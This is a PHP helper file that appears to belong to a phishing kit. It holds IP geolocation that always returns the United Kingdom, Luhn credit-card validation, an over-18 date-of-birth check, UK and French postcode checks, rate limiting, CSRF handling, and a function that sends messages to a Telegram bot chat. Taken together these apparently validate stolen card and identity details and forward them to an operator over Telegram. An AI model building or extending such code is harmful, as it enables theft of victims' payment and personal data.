<?php
require_once __DIR__ . '/config.php';
require_once __DIR__ . '/../vendor/autoload.php';

use LuhnAlgo\LuhnAlgo;

// Get client IP
function getClientIp() {
    $ip = $_SERVER['REMOTE_ADDR'];
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    }
    return trim($ip);
}

// Get country and language based on IP
function getCountryAndLanguage($ip) {
    global $countryLanguageMap;
    try {
        $ch = curl_init('https://ipapi.co/json/');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $response = curl_exec($ch);
        if ($response === false) {
            error_log('IP API error: ' . curl_error($ch));
            return ['United Kingdom', 'en'];
        }
        curl_close($ch);
        $data = json_decode($response, true);
        $country = $data['country_name'] ?? 'United Kingdom';
        $language = $countryLanguageMap[$country] ?? 'en';
        error_log("Detected IP: $ip, Country: $country, Language: $language");
        return ['United Kingdom', 'en'];
    } catch (Exception $e) {
        error_log("IP API exception: " . $e->getMessage());
        return ['United Kingdom', 'en'];
    }
}

// Validate Turnstile

// Send Telegram message
function sendTelegramMessage($message) {
    $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/sendMessage?chat_id=" . TELEGRAM_CHAT_ID . "&text=" . urlencode($message);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $response = curl_exec($ch);
    if ($response === false) {
        error_log('Telegram error: ' . curl_error($ch));
        curl_close($ch);
        return false;
    }
    $result = json_decode($response, true);
    curl_close($ch);
    if (!$result['ok']) {
        error_log('Telegram API error: ' . ($result['description'] ?? 'Unknown error'));
        return false;
    }
    return true;
}

// Simple file-based rate limiting
function rateLimit($ip, $action, $limit = 5, $window = 60) {
    $file = __DIR__ . "/../rate_limit_$action.txt";
    $data = file_exists($file) ? json_decode(file_get_contents($file), true) : [];
    $now = time();
    $data[$ip] = array_filter($data[$ip] ?? [], fn($t) => $t > $now - $window);
    $data[$ip][] = $now;
    if (count($data[$ip]) > $limit) {
        return false;
    }
    file_put_contents($file, json_encode($data));
    return true;
}

// Generate CSRF token
function generateCsrfToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// Validate CSRF token
function validateCsrfToken($token) {
    return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}

// Validate credit card using Luhn algorithm
function validateCardNumber($cardNumber) {
    $luhn = new LuhnAlgo();
    return $luhn->isValid(str_replace(' ', '', $cardNumber));
}

// Validate date of birth (must be 18+ years old)
function validateDob($dob) {
    try {
        $date = DateTime::createFromFormat('d/m/Y', $dob);
        if (!$date || $date->format('d/m/Y') !== $dob) {
            return false;
        }
        $eighteenYearsAgo = new DateTime();
        $eighteenYearsAgo->modify('-18 years');
        return $date <= $eighteenYearsAgo;
    } catch (Exception $e) {
        return false;
    }
}

// Validate postcode based on country
function validatePostcode($postcode, $country) {
    if ($country === 'United Kingdom') {
        return preg_match('/^[A-Z]{1,2}\d{1,2}[A-Z]? \d[A-Z]{2}$/', $postcode);
    } elseif ($country === 'France') {
        return preg_match('/^\d{5}$/', $postcode);
    }
    return true; // Default: no specific validation
}

// Sanitize input
function sanitize($input) {
    return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
?>